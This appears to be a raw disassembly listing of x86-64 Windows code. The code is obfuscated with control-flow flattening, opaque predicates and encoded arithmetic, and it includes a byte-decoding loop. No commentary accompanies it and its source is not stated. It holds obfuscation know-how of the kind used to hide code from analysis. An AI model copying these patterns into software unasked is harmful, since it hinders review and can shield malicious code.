cmp eax, 0x38010efa
jne 0x140041cad
mov qword [rbp + 0x40], r11
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x8582c309
jmp 0x140041ca0
cmp eax, 0xd4c9a55c
jle 0x140041f05
cmp eax, 0xe3e2d3b2
jle 0x140041fef
cmp eax, 0xe8bf1131
jg 0x1400421ac
cmp eax, 0xe3e2d3b3
je 0x140042430
cmp eax, 0xe8706593
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0x383d24c4
jmp 0x140041ca0
cmp eax, 0x74ef2dd8
jle 0x14004202e
cmp eax, 0x7862d6f4
jg 0x1400421e0
cmp eax, 0x74ef2dd9
je 0x14004243a
cmp eax, 0x76a01761
jne 0x140041cad
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7862d6f5
jmp 0x140041cad
cmp eax, 0x8cbae95a
jle 0x140042059
cmp eax, 0x9771075a
jle 0x1400423ad
cmp eax, 0x9771075b
je 0x140042444
cmp eax, 0x988c5a5b
jne 0x140041cad
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x9a93d6f7
jmp 0x140041cad
cmp eax, 0x9e52667
jg 0x140042084
cmp eax, 0xf130480a
je 0x140042452
cmp eax, 0xf8282498
je 0x140042460
cmp eax, 0x56ab6a0
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0xca2aa47c
jmp 0x140041ca0
cmp eax, 0xcec14fc6
jg 0x1400420c3
cmp eax, 0xb7633e01
je 0x140042476
cmp eax, 0xbd590664
je 0x140042484
cmp eax, 0xca2aa47c
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0x9d093714
jmp 0x140041ca0
cmp eax, 0x3d27c40f
je 0x1400424a2
cmp eax, 0x3d57c85c
je 0x1400424c0
cmp eax, 0x4049e1a1
jne 0x140041cad
mov eax, 0x3065742d
jmp 0x140041cad
cmp eax, 0x9a0207dd
je 0x1400424de
cmp eax, 0x9a93d6f7
je 0x140041c76
cmp eax, 0x9d093714
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0xf8282498
jmp 0x140041ca0
cmp eax, 0x28f8e7fa
je 0x1400424e8
cmp eax, 0x3065742d
je 0x140042506
cmp eax, 0x32a3cf92
jne 0x140041cad
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x62e61b4c
jmp 0x140041cad
cmp eax, 0xd4c9a55d
je 0x140042538
cmp eax, 0xd4ce6052
je 0x140042546
cmp eax, 0xdf71f794
jne 0x140041cad
mov cl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0x4049e1a1
mov edx, 0x3065742d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140041cad
cmp eax, 0x69d5c2be
je 0x140042564
cmp eax, 0x72fc1027
je 0x14004258e
cmp eax, 0x746a711d
jne 0x140041cad
mov eax, 0x56ab6a0
jmp 0x140041cad
cmp eax, 0x8582c309
je 0x1400425ac
cmp eax, 0x89a242b2
je 0x1400425b6
cmp eax, 0x8a63bb18
jne 0x140041cad
mov eax, 0x4b18584f
jmp 0x140041cad
cmp eax, 0x9e52668
je 0x1400425d4
cmp eax, 0x1dc66492
je 0x14004278d
cmp eax, 0x2753fdcb
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8a63bb18
mov ecx, 0x4b18584f
jmp 0x140041ca0
cmp eax, 0xcec14fc7
je 0x140042797
cmp eax, 0xd0cc8406
je 0x1400427a1
cmp eax, 0xd42690e8
jne 0x140041cad
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov al, byte [r11 + rax]
mov byte [rbp + 0x67], al
mov eax, 0xed3034e3
jmp 0x140041cad
cmp eax, 0x62dd269c
je 0x1400427ab
cmp eax, 0x62e61b4c
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x76a01761
mov ecx, 0x7862d6f5
cmovne eax, ecx
jmp 0x140041cad
cmp eax, 0xaef00e71
je 0x1400427b5
cmp eax, 0xb0c52422
jne 0x140041cad
mov eax, 0x32a3cf92
jmp 0x140041cad
cmp eax, 0x383d24c4
je 0x1400427df
cmp eax, 0x39efa06e
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0x69d5c2be
jmp 0x140041ca0
cmp eax, 0xe8bf1132
je 0x1400427fd
cmp eax, 0xed3034e3
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x7fa07399
jmp 0x140041ca0
cmp eax, 0x7862d6f5
je 0x140042807
cmp eax, 0x7fa07399
jne 0x140041cad
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x1400422c0
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x140042300
cmp eax, 0x2a0b524b
jle 0x140042320
mov ecx, ebx
cmp eax, 0x674ae438
je 0x1400422c0
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x1400422c0
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x1400422c0
jmp 0x140042830
cmp eax, 0xb97238e2
jg 0x140042340
cmp eax, 0x873bf760
je 0x1400422b1
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x1400422c0
mov ecx, 0x7bae5e91
jmp 0x1400422c0
cmp eax, 0x13679cf1
je 0x140042382
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x1400422c0
mov ecx, 0xb97238e3
jmp 0x1400422c0
cmp eax, 0xb97238e3
je 0x1400423a1
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x1400422c0
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x1400422c0
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1400422c0
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x1400422c0
cmp eax, 0x91b9c7e8
jne 0x1400428b4
mov eax, 0x3d27c40f
jmp 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8bf1132
mov ecx, 0x8a63bb18
cmovne eax, ecx
cmp dword [0x1400611bc], 0xa
mov ecx, 0xe8bf1132
cmovl eax, ecx
jmp 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0x3d57c85c
mov ecx, 0x74ef2dd9
cmovne eax, ecx
jmp 0x140041cad
mov eax, 0x383d24c4
jmp 0x140041cad
mov eax, 0x38010efa
jmp 0x140041cad
mov eax, 0x3d57c85c
jmp 0x140041cad
mov rax, qword [rbp + 0x68]
mov eax, 0xaef00e71
jmp 0x140041cad
mov rax, qword [rbp + 0x68]
mov eax, 0x89a242b2
jmp 0x140041cad
cmp byte [rbp + 0x37], 0
mov eax, 0xd4c9a55d
mov ecx, 0xd42690e8
cmovne eax, ecx
jmp 0x140041cad
mov rax, qword [rbp + 0x58]
mov eax, 0x69d5c2be
jmp 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x38010efa
jmp 0x140041ca0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0xa4c297a2
jmp 0x140041ca0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74ef2dd9
mov ecx, 0x5f2b4794
jmp 0x140041ca0
mov eax, 0x39efa06e
jmp 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x9a93d6f7
jmp 0x140041ca0
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4049e1a1
mov ecx, 0x9a0207dd
jmp 0x140041ca0
mov rax, qword [rbp + 0x48]
mov eax, 0xe8706593
jmp 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0x3d27c40f
jmp 0x140041ca0
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0xb0c52422
jmp 0x140041ca0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x2753fdcb
jmp 0x140041ca0
mov eax, 0x8cbae95b
jmp 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0xaef00e71
jmp 0x140041ca0
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x1400426a0
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
nop
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x1400426e0
cmp eax, 0x2a0b524b
jle 0x140042700
mov ecx, ebx
cmp eax, 0x674ae438
je 0x1400426a0
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x1400426a0
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x1400426a0
jmp 0x14004287e
cmp eax, 0xb97238e2
jg 0x140042720
cmp eax, 0x873bf760
je 0x14004268f
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x1400426a0
mov ecx, 0x7bae5e91
jmp 0x1400426a0
cmp eax, 0x13679cf1
je 0x140042762
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x1400426a0
mov ecx, 0xb97238e3
jmp 0x1400426a0
cmp eax, 0xb97238e3
je 0x140042781
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x1400426a0
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x1400426a0
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1400426a0
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x1400426a0
mov eax, 0x62e61b4c
jmp 0x140041cad
mov eax, 0xca2aa47c
jmp 0x140041cad
mov eax, 0xd4ce6052
jmp 0x140041cad
mov eax, 0x28f8e7fa
jmp 0x140041cad
mov rax, qword [rbp + 0x68]
cmp rax, 0x19
setb byte [rbp + 0x37]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0x72fc1027
jmp 0x140041ca0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0xbd590664
jmp 0x140041ca0
mov eax, 0xa1a955d1
jmp 0x140041cad
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76a01761
mov ecx, 0xd0cc8406
jmp 0x140041ca0
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x62dd269c
jmp 0x140041ca0
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7fa07399
jmp 0x140041cad
cmp eax, 0x8cbae95b
jne 0x140041cad
mov rax, qword [rbp + 0x40]
mov rsp, r10
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611b4], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x2f769c9d
mov ecx, 0xde195c3a
cmovne eax, ecx
jmp 0x140040e9e
mov eax, 0xc99c3b22
jmp 0x140040e9e
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6720f4d5
mov ecx, 0x8119d0ce
jmp 0x140040e91
mov r10, rsp
mov r11, qword [rbp + 0x10]
mov eax, dword [0x1400611b8]
mov ecx, dword [0x1400611bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x1f]
cmp ecx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0xdf71f794
jmp 0x14004298d
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x1dc66492
nop
cmove eax, ecx
cmp dword [0x1400611bc], 0xa
cmovl eax, ecx
cmp eax, 0xf1304809
jle 0x1400429f0
cmp eax, 0x3d27c40e
jle 0x140042a50
cmp eax, 0x69d5c2bd
jg 0x140042b05
cmp eax, 0x4b18584e
jle 0x140042c2f
cmp eax, 0x62dd269b
jg 0x140042de7
cmp eax, 0x4b18584f
je 0x1400430a2
cmp eax, 0x5f2b4794
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0x56ab6a0
jmp 0x140042980
cmp eax, 0xb7633e00
jg 0x140042ab0
cmp eax, 0x9a0207dc
jle 0x140042b42
cmp eax, 0xa1a955d0
jle 0x140042c5a
cmp eax, 0xaef00e70
jg 0x140042e38
cmp eax, 0xa1a955d1
je 0x1400430d2
cmp eax, 0xa4c297a2
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x89a242b2
jmp 0x140042980
cmp eax, 0x28f8e7f9
jle 0x140042b9b
cmp eax, 0x3548ed16
jle 0x140042c99
cmp eax, 0x383d24c3
jg 0x140042e58
cmp eax, 0x3548ed17
je 0x140043106
cmp eax, 0x38010efa
jne 0x14004298d
mov qword [rbp + 0x40], r11
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x8582c309
jmp 0x140042980
cmp eax, 0xd4c9a55c
jle 0x140042be5
cmp eax, 0xe3e2d3b2
jle 0x140042ccf
cmp eax, 0xe8bf1131
jg 0x140042e8c
cmp eax, 0xe3e2d3b3
je 0x140043110
cmp eax, 0xe8706593
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0x383d24c4
jmp 0x140042980
cmp eax, 0x74ef2dd8
jle 0x140042d0e
cmp eax, 0x7862d6f4
jg 0x140042ec0
cmp eax, 0x74ef2dd9
je 0x14004311a
cmp eax, 0x76a01761
jne 0x14004298d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7862d6f5
jmp 0x14004298d
cmp eax, 0x8cbae95a
jle 0x140042d39
cmp eax, 0x9771075a
jle 0x14004308d
cmp eax, 0x9771075b
je 0x140043124
cmp eax, 0x988c5a5b
jne 0x14004298d
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x9a93d6f7
jmp 0x14004298d
cmp eax, 0x9e52667
jg 0x140042d64
cmp eax, 0xf130480a
je 0x140043132
cmp eax, 0xf8282498
je 0x140043140
cmp eax, 0x56ab6a0
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0xca2aa47c
jmp 0x140042980
cmp eax, 0xcec14fc6
jg 0x140042da3
cmp eax, 0xb7633e01
je 0x140043156
cmp eax, 0xbd590664
je 0x140043164
cmp eax, 0xca2aa47c
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0x9d093714
jmp 0x140042980
cmp eax, 0x3d27c40f
je 0x140043182
cmp eax, 0x3d57c85c
je 0x1400431a0
cmp eax, 0x4049e1a1
jne 0x14004298d
mov eax, 0x3065742d
jmp 0x14004298d
cmp eax, 0x9a0207dd
je 0x1400431be
cmp eax, 0x9a93d6f7
je 0x140042957
cmp eax, 0x9d093714
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0xf8282498
jmp 0x140042980
cmp eax, 0x28f8e7fa
je 0x1400431c8
cmp eax, 0x3065742d
je 0x1400431e6
cmp eax, 0x32a3cf92
jne 0x14004298d
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x62e61b4c
jmp 0x14004298d
cmp eax, 0xd4c9a55d
je 0x140043218
cmp eax, 0xd4ce6052
je 0x140043226
cmp eax, 0xdf71f794
jne 0x14004298d
mov cl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0x4049e1a1
mov edx, 0x3065742d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14004298d
cmp eax, 0x69d5c2be
je 0x140043244
cmp eax, 0x72fc1027
je 0x14004326e
cmp eax, 0x746a711d
jne 0x14004298d
mov eax, 0x56ab6a0
jmp 0x14004298d
cmp eax, 0x8582c309
je 0x14004328c
cmp eax, 0x89a242b2
je 0x140043296
cmp eax, 0x8a63bb18
jne 0x14004298d
mov eax, 0x4b18584f
jmp 0x14004298d
cmp eax, 0x9e52668
je 0x1400432b4
cmp eax, 0x1dc66492
je 0x14004346d
cmp eax, 0x2753fdcb
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8a63bb18
mov ecx, 0x4b18584f
jmp 0x140042980
cmp eax, 0xcec14fc7
je 0x140043477
cmp eax, 0xd0cc8406
je 0x140043481
cmp eax, 0xd42690e8
jne 0x14004298d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov al, byte [r11 + rax]
mov byte [rbp + 0x67], al
mov eax, 0xed3034e3
jmp 0x14004298d
cmp eax, 0x62dd269c
je 0x14004348b
cmp eax, 0x62e61b4c
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x76a01761
mov ecx, 0x7862d6f5
cmovne eax, ecx
jmp 0x14004298d
cmp eax, 0xaef00e71
je 0x140043495
cmp eax, 0xb0c52422
jne 0x14004298d
mov eax, 0x32a3cf92
jmp 0x14004298d
cmp eax, 0x383d24c4
je 0x1400434bf
cmp eax, 0x39efa06e
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0x69d5c2be
jmp 0x140042980
cmp eax, 0xe8bf1132
je 0x1400434dd
cmp eax, 0xed3034e3
jne 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x7fa07399
jmp 0x140042980
cmp eax, 0x7862d6f5
je 0x1400434e7
cmp eax, 0x7fa07399
jne 0x14004298d
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x140042fa0
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x140042fe0
cmp eax, 0x2a0b524b
jle 0x140043000
mov ecx, ebx
cmp eax, 0x674ae438
je 0x140042fa0
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x140042fa0
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x140042fa0
jmp 0x140043510
cmp eax, 0xb97238e2
jg 0x140043020
cmp eax, 0x873bf760
je 0x140042f91
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x140042fa0
mov ecx, 0x7bae5e91
jmp 0x140042fa0
cmp eax, 0x13679cf1
je 0x140043062
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x140042fa0
mov ecx, 0xb97238e3
jmp 0x140042fa0
cmp eax, 0xb97238e3
je 0x140043081
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x140042fa0
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x140042fa0
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x140042fa0
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x140042fa0
cmp eax, 0x91b9c7e8
jne 0x140043594
mov eax, 0x3d27c40f
jmp 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8bf1132
mov ecx, 0x8a63bb18
cmovne eax, ecx
cmp dword [0x1400611bc], 0xa
mov ecx, 0xe8bf1132
cmovl eax, ecx
jmp 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0x3d57c85c
mov ecx, 0x74ef2dd9
cmovne eax, ecx
jmp 0x14004298d
mov eax, 0x383d24c4
jmp 0x14004298d
mov eax, 0x38010efa
jmp 0x14004298d
mov eax, 0x3d57c85c
jmp 0x14004298d
mov rax, qword [rbp + 0x68]
mov eax, 0xaef00e71
jmp 0x14004298d
mov rax, qword [rbp + 0x68]
mov eax, 0x89a242b2
jmp 0x14004298d
cmp byte [rbp + 0x37], 0
mov eax, 0xd4c9a55d
mov ecx, 0xd42690e8
cmovne eax, ecx
jmp 0x14004298d
mov rax, qword [rbp + 0x58]
mov eax, 0x69d5c2be
jmp 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x38010efa
jmp 0x140042980
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0xa4c297a2
jmp 0x140042980
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74ef2dd9
mov ecx, 0x5f2b4794
jmp 0x140042980
mov eax, 0x39efa06e
jmp 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x9a93d6f7
jmp 0x140042980
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4049e1a1
mov ecx, 0x9a0207dd
jmp 0x140042980
mov rax, qword [rbp + 0x48]
mov eax, 0xe8706593
jmp 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0x3d27c40f
jmp 0x140042980
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0xb0c52422
jmp 0x140042980
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
